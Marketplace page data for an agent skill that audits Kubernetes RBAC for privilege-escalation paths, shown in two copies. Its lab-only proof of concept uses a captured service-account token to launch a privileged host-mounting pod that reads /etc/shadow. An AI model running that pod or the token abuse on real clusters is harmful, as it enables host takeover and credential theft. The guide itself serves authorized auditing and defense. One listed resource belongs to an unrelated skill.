[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADWJRWPKTH4CC53BM9E4ZP":3,"skill-same:01M6ADWJRWPKTH4CC53BM9E4ZP":106},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":45,"linkOnly":46,"markdownContent":47,"markdownBody":48,"frontMatter":49,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":62,"ownerHtmlUrl":63,"ownerBlogUrl":64,"ownerDescription":65,"updatedAt":66,"install":67,"resources":80},"01M6ADWJRWPKTH4CC53BM9E4ZP","auditing-kubernetes-rbac-privilege-escalation",null,"Finds over-permissive RBAC roles and service-account token abuse paths in a Kubernetes cluster using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess, tracing which subjects can escalate toward cluster-admin. Use when reviewing who can escalate privileges in a cluster, hunting exploitable RoleBindings during an authorized review, or validating least privilege after an RBAC change. Keywords: RBAC, ClusterRoleBinding, service account token, auth can-i, rbac-police, escalate, bind, impersonate. Do not use for designing and applying hardened RBAC - use implementing-rbac-hardening-for-kubernetes.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35925,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44],"kubernetes","auditing kubernetes rbac privilege escalation","rbac","cybersecurity","change","auth","security","pr","admin","tracing","privilege-escalation","container-security","access-control","service-account","least-privilege","kubectl","attack-paths","review","2026-11-10 10:12:30",false,"---\nname: auditing-kubernetes-rbac-privilege-escalation\ndescription: >-\n  Finds over-permissive RBAC roles and service-account token abuse paths in a Kubernetes\n  cluster using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess, tracing which\n  subjects can escalate toward cluster-admin. Use when reviewing who can escalate privileges\n  in a cluster, hunting exploitable RoleBindings during an authorized review, or validating\n  least privilege after an RBAC change. Keywords: RBAC, ClusterRoleBinding, service account\n  token, auth can-i, rbac-police, escalate, bind, impersonate. Do not use for designing and\n  applying hardened RBAC - use implementing-rbac-hardening-for-kubernetes.\ndomain: cybersecurity\nsubdomain: container-security\ntags:\n- kubernetes\n- rbac\n- privilege-escalation\n- service-account\n- least-privilege\n- kubectl\n- access-control\n- attack-paths\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1078\n---\n# Auditing Kubernetes RBAC Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.\n\n## Overview\n\nKubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via `Role`\u002F`ClusterRole` rules bound by `RoleBinding`\u002F`ClusterRoleBinding`. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are \"RBAC-equivalent to cluster-admin.\"\n\nPer the Kubernetes \"RBAC Good Practices\" guidance and Unit 42 research, the dangerous primitives are:\n\n- **`escalate` on roles** — grant yourself any permission, even ones you do not hold.\n- **`bind` on clusterroles** — create a binding to `cluster-admin`.\n- **`impersonate`** on users\u002Fgroups\u002Fserviceaccounts — act as any subject including `system:masters`.\n- **`create`\u002F`update`\u002F`patch` on `pods`** — schedule a privileged pod or mount the node, escaping to the host (T1611).\n- **`create` on `pods\u002Fexec`, `pods\u002Fattach`, `pods\u002Fephemeralcontainers`** — run code in any existing pod.\n- **`get`\u002F`list`\u002F`watch` on `secrets`** — list returns full secret contents, including other service-account tokens.\n- **`create` on `serviceaccounts\u002Ftoken`** — mint tokens for more privileged accounts.\n- **`update`\u002F`patch` on `validatingwebhookconfigurations`\u002F`mutatingwebhookconfigurations`, `nodes\u002Fproxy`, `certificatesigningrequests\u002Fapproval`** — admission\u002FCSR abuse to cluster-admin.\n- **Wildcards** (`verbs: [\"*\"]`, `resources: [\"*\"]`) — implicit super-privilege.\n\nThis skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.\n\n## When to Use\n\n- During an authorized Kubernetes security assessment or cluster penetration test\n- After compromising a pod, to determine what its service-account token can reach\n- When reviewing RBAC drift before a production go-live\n- When validating least-privilege after a platform migration or Helm rollout\n\n## Prerequisites\n\n- `kubectl` configured against the target cluster (your own credentials, or a captured service-account token)\n- Read access to RBAC objects (most audits run with a cluster-reader or admin context)\n- Audit tooling:\n  ```bash\n  # rbac-police - find escalation paths (Cymulate)\n  curl -L https:\u002F\u002Fgithub.com\u002FPaloAltoNetworks\u002Frbac-police\u002Freleases\u002Flatest\u002Fdownload\u002Frbac-police-linux-amd64 -o rbac-police\n  chmod +x rbac-police\n\n  # kubectl-who-can - which subjects can perform an action (Aqua)\n  kubectl krew install who-can\n\n  # rakkess - access matrix of resources x verbs for the current\u002Fanother subject\n  kubectl krew install access-matrix\n\n  # rbac-lookup - which roles a subject has (FairwindsOps)\n  kubectl krew install rbac-lookup\n  ```\n\n## Objectives\n\n- Inventory all `Role`, `ClusterRole`, `RoleBinding`, and `ClusterRoleBinding` objects\n- Enumerate effective permissions per subject using `kubectl auth can-i --as`\n- Identify subjects holding RBAC-equivalent-to-admin primitives\n- Trace token-mounting pods to over-privileged service accounts\n- Demonstrate (in a lab) one escalation path end-to-end\n- Output a prioritized findings report with least-privilege remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1078 | Valid Accounts | Defense Evasion \u002F Persistence \u002F Privilege Escalation |\n| T1098 | Account Manipulation | Persistence |\n| T1528 | Steal Application Access Token | Credential Access |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1611 | Escape to Host | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Inventory RBAC Objects\n\n```bash\n# All roles and bindings, cluster-wide\nkubectl get clusterroles,clusterrolebindings -o wide\nkubectl get roles,rolebindings --all-namespaces -o wide\n\n# Dump full RBAC for offline analysis\nkubectl get clusterroles,clusterrolebindings,roles,rolebindings \\\n  --all-namespaces -o yaml > rbac-dump.yaml\n\n# Who is bound to cluster-admin?\nkubectl get clusterrolebindings -o json | \\\n  jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") |\n         .metadata.name + \" -> \" + (.subjects \u002F\u002F [] | map(.kind+\"\u002F\"+.name) | join(\",\"))'\n```\n\n### Step 2: Enumerate Effective Permissions per Subject\n\n`kubectl auth can-i` is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use `--as` to impersonate a subject (requires impersonate rights for the audit identity).\n\n```bash\n# Full access matrix for a service account\nkubectl auth can-i --list \\\n  --as=system:serviceaccount:default:default\n\n# Targeted dangerous-permission probes\nkubectl auth can-i create pods --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i get secrets --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i create serviceaccounts\u002Ftoken -n kube-system \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i '*' '*' --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\n\n# rakkess full verb x resource matrix for a subject\nkubectl access-matrix --as system:serviceaccount:dev:builder\n```\n\n### Step 3: Hunt the Escalation Primitives\n\n```bash\n# Who can perform each dangerous action across the cluster?\nkubectl who-can create pods\nkubectl who-can '*' '*'                      # wildcard god-mode holders\nkubectl who-can get secrets\nkubectl who-can list secrets\nkubectl who-can create pods\u002Fexec\nkubectl who-can impersonate users\nkubectl who-can create serviceaccounts\u002Ftoken\nkubectl who-can update clusterrolebindings   # bind-style escalation\n\n# grep the raw dump for escalate\u002Fbind\u002Fimpersonate verbs and wildcards\ngrep -nE 'escalate|impersonate|\"\\*\"|- bind' rbac-dump.yaml\n```\n\n### Step 4: Run Automated Escalation-Path Analysis with rbac-police\n\nrbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.\n\n```bash\n# Run all built-in escalation checks (needs a kubeconfig with read access)\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002F\n\n# Only the privilege-escalation policy, severe findings as JSON\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002Fcan_escalate.rego -f json -o findings.json\n\n# Collect a snapshot first (offline analysis \u002F air-gapped review)\n.\u002Frbac-police collect -o cluster-snapshot.json\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002F --collect-results cluster-snapshot.json\n```\n\n### Step 5: Trace Pods to Over-Privileged Service Accounts\n\nA finding only matters if a reachable workload mounts that token.\n\n```bash\n# Map every pod to its service account\nkubectl get pods --all-namespaces \\\n  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'\n\n# Find pods that auto-mount tokens (the default) tied to risky SAs\nkubectl get pods --all-namespaces -o json | jq -r '\n  .items[] | select(.spec.automountServiceAccountToken != false) |\n  \"\\(.metadata.namespace)\u002F\\(.metadata.name) -> \\(.spec.serviceAccountName \u002F\u002F \"default\")\"'\n\n# rbac-lookup: what does that service account actually hold?\nkubectl rbac-lookup builder --kind serviceaccount\n```\n\n### Step 6: Demonstrate an Escalation Path (Lab Only)\n\nExample: a service account with `create pods` and access to a node can schedule a privileged pod that mounts the host filesystem.\n\n```bash\n# Using a captured token, target the API server directly\nexport TOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nexport APISERVER=https:\u002F\u002Fkubernetes.default.svc\n\n# Confirm the dangerous right\nkubectl --token=\"$TOKEN\" --server=\"$APISERVER\" --insecure-skip-tls-verify \\\n  auth can-i create pods\n\n# Schedule a privileged host-mounting pod (proves node\u002Fhost takeover)\ncat \u003C\u003C'EOF' | kubectl --token=\"$TOKEN\" --server=\"$APISERVER\" \\\n  --insecure-skip-tls-verify apply -f -\napiVersion: v1\nkind: Pod\nmetadata: {name: escalate-poc, namespace: default}\nspec:\n  containers:\n  - name: x\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow; sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\nkubectl logs escalate-poc   # host \u002Fetc\u002Fshadow proves escalation\n```\n\n### Step 7: Report and Remediate\n\n```bash\n# Generate a least-privilege-violation summary\nkubectl get clusterrolebindings -o json | jq -r '\n  .items[] | select(.roleRef.name==\"cluster-admin\") |\n  \"FINDING cluster-admin bound to: \" +\n  ((.subjects \u002F\u002F []) | map(.kind+\":\"+.name) | join(\", \"))'\n```\n\nRemediation: replace wildcards with explicit verbs\u002Fresources; remove `escalate`\u002F`bind`\u002F`impersonate` unless required; set `automountServiceAccountToken: false` on workloads that do not call the API; scope `Role` (namespaced) over `ClusterRole` where possible; use `aggregationRule` carefully.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| kubectl auth can-i | Authoritative live permission check (`--list`, `--as`) | https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Freference\u002Faccess-authn-authz\u002Fauthorization\u002F |\n| rbac-police | Rego-based escalation-path analysis | https:\u002F\u002Fgithub.com\u002FPaloAltoNetworks\u002Frbac-police |\n| kubectl-who-can | Reverse lookup: who can do X | https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkubectl-who-can |\n| rakkess (access-matrix) | Verb x resource matrix per subject | https:\u002F\u002Fgithub.com\u002Fcorneliusweig\u002Frakkess |\n| rbac-lookup | Roles a subject holds | https:\u002F\u002Fgithub.com\u002FFairwindsOps\u002Frbac-lookup |\n| Kubernetes RBAC Good Practices | Authoritative escalation primitive list | https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fsecurity\u002Frbac-good-practices\u002F |\n\n## Dangerous RBAC Primitives Reference\n\n| Verb \u002F Resource | Why It Is Cluster-Admin-Equivalent |\n|-----------------|------------------------------------|\n| `escalate` on roles | Grant self any permission |\n| `bind` on clusterroles | Bind self to cluster-admin |\n| `impersonate` users\u002Fgroups | Act as system:masters |\n| `create pods` (+ node access) | Privileged\u002FhostPath pod -> host takeover |\n| `create pods\u002Fexec`,`pods\u002Fattach` | Run code in existing pods |\n| `get`\u002F`list` secrets | Read all tokens & credentials |\n| `create serviceaccounts\u002Ftoken` | Mint privileged tokens |\n| `*`\u002F`*` (wildcards) | Implicit super-privilege |\n\n## Validation Criteria\n\n- [ ] All Role\u002FClusterRole\u002FBinding objects inventoried and dumped\n- [ ] cluster-admin subject list enumerated\n- [ ] Effective permissions enumerated per service account via `auth can-i --list`\n- [ ] All dangerous-primitive holders identified (escalate\u002Fbind\u002Fimpersonate\u002Fsecrets\u002Fpods)\n- [ ] rbac-police escalation paths reviewed\n- [ ] Token-mounting pods mapped to risky service accounts\n- [ ] At least one escalation path demonstrated in a lab\n- [ ] Findings report with least-privilege remediation produced\n- [ ] All testing stayed within authorized scope\n","# Auditing Kubernetes RBAC Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.\n\n## Overview\n\nKubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via `Role`\u002F`ClusterRole` rules bound by `RoleBinding`\u002F`ClusterRoleBinding`. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are \"RBAC-equivalent to cluster-admin.\"\n\nPer the Kubernetes \"RBAC Good Practices\" guidance and Unit 42 research, the dangerous primitives are:\n\n- **`escalate` on roles** — grant yourself any permission, even ones you do not hold.\n- **`bind` on clusterroles** — create a binding to `cluster-admin`.\n- **`impersonate`** on users\u002Fgroups\u002Fserviceaccounts — act as any subject including `system:masters`.\n- **`create`\u002F`update`\u002F`patch` on `pods`** — schedule a privileged pod or mount the node, escaping to the host (T1611).\n- **`create` on `pods\u002Fexec`, `pods\u002Fattach`, `pods\u002Fephemeralcontainers`** — run code in any existing pod.\n- **`get`\u002F`list`\u002F`watch` on `secrets`** — list returns full secret contents, including other service-account tokens.\n- **`create` on `serviceaccounts\u002Ftoken`** — mint tokens for more privileged accounts.\n- **`update`\u002F`patch` on `validatingwebhookconfigurations`\u002F`mutatingwebhookconfigurations`, `nodes\u002Fproxy`, `certificatesigningrequests\u002Fapproval`** — admission\u002FCSR abuse to cluster-admin.\n- **Wildcards** (`verbs: [\"*\"]`, `resources: [\"*\"]`) — implicit super-privilege.\n\nThis skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.\n\n## When to Use\n\n- During an authorized Kubernetes security assessment or cluster penetration test\n- After compromising a pod, to determine what its service-account token can reach\n- When reviewing RBAC drift before a production go-live\n- When validating least-privilege after a platform migration or Helm rollout\n\n## Prerequisites\n\n- `kubectl` configured against the target cluster (your own credentials, or a captured service-account token)\n- Read access to RBAC objects (most audits run with a cluster-reader or admin context)\n- Audit tooling:\n  ```bash\n  # rbac-police - find escalation paths (Cymulate)\n  curl -L https:\u002F\u002Fgithub.com\u002FPaloAltoNetworks\u002Frbac-police\u002Freleases\u002Flatest\u002Fdownload\u002Frbac-police-linux-amd64 -o rbac-police\n  chmod +x rbac-police\n\n  # kubectl-who-can - which subjects can perform an action (Aqua)\n  kubectl krew install who-can\n\n  # rakkess - access matrix of resources x verbs for the current\u002Fanother subject\n  kubectl krew install access-matrix\n\n  # rbac-lookup - which roles a subject has (FairwindsOps)\n  kubectl krew install rbac-lookup\n  ```\n\n## Objectives\n\n- Inventory all `Role`, `ClusterRole`, `RoleBinding`, and `ClusterRoleBinding` objects\n- Enumerate effective permissions per subject using `kubectl auth can-i --as`\n- Identify subjects holding RBAC-equivalent-to-admin primitives\n- Trace token-mounting pods to over-privileged service accounts\n- Demonstrate (in a lab) one escalation path end-to-end\n- Output a prioritized findings report with least-privilege remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1078 | Valid Accounts | Defense Evasion \u002F Persistence \u002F Privilege Escalation |\n| T1098 | Account Manipulation | Persistence |\n| T1528 | Steal Application Access Token | Credential Access |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1611 | Escape to Host | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Inventory RBAC Objects\n\n```bash\n# All roles and bindings, cluster-wide\nkubectl get clusterroles,clusterrolebindings -o wide\nkubectl get roles,rolebindings --all-namespaces -o wide\n\n# Dump full RBAC for offline analysis\nkubectl get clusterroles,clusterrolebindings,roles,rolebindings \\\n  --all-namespaces -o yaml > rbac-dump.yaml\n\n# Who is bound to cluster-admin?\nkubectl get clusterrolebindings -o json | \\\n  jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") |\n         .metadata.name + \" -> \" + (.subjects \u002F\u002F [] | map(.kind+\"\u002F\"+.name) | join(\",\"))'\n```\n\n### Step 2: Enumerate Effective Permissions per Subject\n\n`kubectl auth can-i` is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use `--as` to impersonate a subject (requires impersonate rights for the audit identity).\n\n```bash\n# Full access matrix for a service account\nkubectl auth can-i --list \\\n  --as=system:serviceaccount:default:default\n\n# Targeted dangerous-permission probes\nkubectl auth can-i create pods --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i get secrets --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i create serviceaccounts\u002Ftoken -n kube-system \\\n  --as=system:serviceaccount:dev:builder\nkubectl auth can-i '*' '*' --all-namespaces \\\n  --as=system:serviceaccount:dev:builder\n\n# rakkess full verb x resource matrix for a subject\nkubectl access-matrix --as system:serviceaccount:dev:builder\n```\n\n### Step 3: Hunt the Escalation Primitives\n\n```bash\n# Who can perform each dangerous action across the cluster?\nkubectl who-can create pods\nkubectl who-can '*' '*'                      # wildcard god-mode holders\nkubectl who-can get secrets\nkubectl who-can list secrets\nkubectl who-can create pods\u002Fexec\nkubectl who-can impersonate users\nkubectl who-can create serviceaccounts\u002Ftoken\nkubectl who-can update clusterrolebindings   # bind-style escalation\n\n# grep the raw dump for escalate\u002Fbind\u002Fimpersonate verbs and wildcards\ngrep -nE 'escalate|impersonate|\"\\*\"|- bind' rbac-dump.yaml\n```\n\n### Step 4: Run Automated Escalation-Path Analysis with rbac-police\n\nrbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.\n\n```bash\n# Run all built-in escalation checks (needs a kubeconfig with read access)\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002F\n\n# Only the privilege-escalation policy, severe findings as JSON\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002Fcan_escalate.rego -f json -o findings.json\n\n# Collect a snapshot first (offline analysis \u002F air-gapped review)\n.\u002Frbac-police collect -o cluster-snapshot.json\n.\u002Frbac-police eval .\u002Flib\u002Fpolicies\u002F --collect-results cluster-snapshot.json\n```\n\n### Step 5: Trace Pods to Over-Privileged Service Accounts\n\nA finding only matters if a reachable workload mounts that token.\n\n```bash\n# Map every pod to its service account\nkubectl get pods --all-namespaces \\\n  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'\n\n# Find pods that auto-mount tokens (the default) tied to risky SAs\nkubectl get pods --all-namespaces -o json | jq -r '\n  .items[] | select(.spec.automountServiceAccountToken != false) |\n  \"\\(.metadata.namespace)\u002F\\(.metadata.name) -> \\(.spec.serviceAccountName \u002F\u002F \"default\")\"'\n\n# rbac-lookup: what does that service account actually hold?\nkubectl rbac-lookup builder --kind serviceaccount\n```\n\n### Step 6: Demonstrate an Escalation Path (Lab Only)\n\nExample: a service account with `create pods` and access to a node can schedule a privileged pod that mounts the host filesystem.\n\n```bash\n# Using a captured token, target the API server directly\nexport TOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nexport APISERVER=https:\u002F\u002Fkubernetes.default.svc\n\n# Confirm the dangerous right\nkubectl --token=\"$TOKEN\" --server=\"$APISERVER\" --insecure-skip-tls-verify \\\n  auth can-i create pods\n\n# Schedule a privileged host-mounting pod (proves node\u002Fhost takeover)\ncat \u003C\u003C'EOF' | kubectl --token=\"$TOKEN\" --server=\"$APISERVER\" \\\n  --insecure-skip-tls-verify apply -f -\napiVersion: v1\nkind: Pod\nmetadata: {name: escalate-poc, namespace: default}\nspec:\n  containers:\n  - name: x\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow; sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\nkubectl logs escalate-poc   # host \u002Fetc\u002Fshadow proves escalation\n```\n\n### Step 7: Report and Remediate\n\n```bash\n# Generate a least-privilege-violation summary\nkubectl get clusterrolebindings -o json | jq -r '\n  .items[] | select(.roleRef.name==\"cluster-admin\") |\n  \"FINDING cluster-admin bound to: \" +\n  ((.subjects \u002F\u002F []) | map(.kind+\":\"+.name) | join(\", \"))'\n```\n\nRemediation: replace wildcards with explicit verbs\u002Fresources; remove `escalate`\u002F`bind`\u002F`impersonate` unless required; set `automountServiceAccountToken: false` on workloads that do not call the API; scope `Role` (namespaced) over `ClusterRole` where possible; use `aggregationRule` carefully.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| kubectl auth can-i | Authoritative live permission check (`--list`, `--as`) | https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Freference\u002Faccess-authn-authz\u002Fauthorization\u002F |\n| rbac-police | Rego-based escalation-path analysis | https:\u002F\u002Fgithub.com\u002FPaloAltoNetworks\u002Frbac-police |\n| kubectl-who-can | Reverse lookup: who can do X | https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkubectl-who-can |\n| rakkess (access-matrix) | Verb x resource matrix per subject | https:\u002F\u002Fgithub.com\u002Fcorneliusweig\u002Frakkess |\n| rbac-lookup | Roles a subject holds | https:\u002F\u002Fgithub.com\u002FFairwindsOps\u002Frbac-lookup |\n| Kubernetes RBAC Good Practices | Authoritative escalation primitive list | https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fsecurity\u002Frbac-good-practices\u002F |\n\n## Dangerous RBAC Primitives Reference\n\n| Verb \u002F Resource | Why It Is Cluster-Admin-Equivalent |\n|-----------------|------------------------------------|\n| `escalate` on roles | Grant self any permission |\n| `bind` on clusterroles | Bind self to cluster-admin |\n| `impersonate` users\u002Fgroups | Act as system:masters |\n| `create pods` (+ node access) | Privileged\u002FhostPath pod -> host takeover |\n| `create pods\u002Fexec`,`pods\u002Fattach` | Run code in existing pods |\n| `get`\u002F`list` secrets | Read all tokens & credentials |\n| `create serviceaccounts\u002Ftoken` | Mint privileged tokens |\n| `*`\u002F`*` (wildcards) | Implicit super-privilege |\n\n## Validation Criteria\n\n- [ ] All Role\u002FClusterRole\u002FBinding objects inventoried and dumped\n- [ ] cluster-admin subject list enumerated\n- [ ] Effective permissions enumerated per service account via `auth can-i --list`\n- [ ] All dangerous-primitive holders identified (escalate\u002Fbind\u002Fimpersonate\u002Fsecrets\u002Fpods)\n- [ ] rbac-police escalation paths reviewed\n- [ ] Token-mounting pods mapped to risky service accounts\n- [ ] At least one escalation path demonstrated in a lab\n- [ ] Findings report with least-privilege remediation produced\n- [ ] All testing stayed within authorized scope\n",{"name":5,"tags":50,"author":51,"domain":30,"license":15,"version":52,"nist_csf":53,"subdomain":38,"description":7,"mitre_attack":55},[27,29,37,40,41,42,39,43],"mahipal","1.0",[54],"PR.AA-05",[56],"T1078","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fauditing-kubernetes-rbac-privilege-escalation",4384,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":68,"prompt":78,"zipAvailable":79},[69,72,75],{"tool":70,"command":71},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill auditing-kubernetes-rbac-privilege-escalation",{"tool":73,"command":74},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill auditing-kubernetes-rbac-privilege-escalation",{"tool":76,"command":77},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill auditing-kubernetes-rbac-privilege-escalation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002FSKILL.md",true,[81,86,92,96,100],{"path":82,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002FLICENSE",{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"references\u002Fallergen-synonyms.md","REFERENCE","参考文档",2444,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdoordash\u002Fdoordash-allergy-shield\u002Freferences\u002Fallergen-synonyms.md",{"path":93,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":94,"sourceHtmlUrl":95},"references\u002Fapi-reference.md",2803,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002Freferences\u002Fapi-reference.md",{"path":97,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fstandards.md",1881,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002Freferences\u002Fstandards.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",5831,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-kubernetes-rbac-privilege-escalation\u002Fscripts\u002Fagent.py",[107,132,156,184,210,237],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":114,"publishedAt":45},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[113],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[115,116,117,118,33,30,119,120,34,121,122,123,124,125,126,127,128,129,130,131],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident 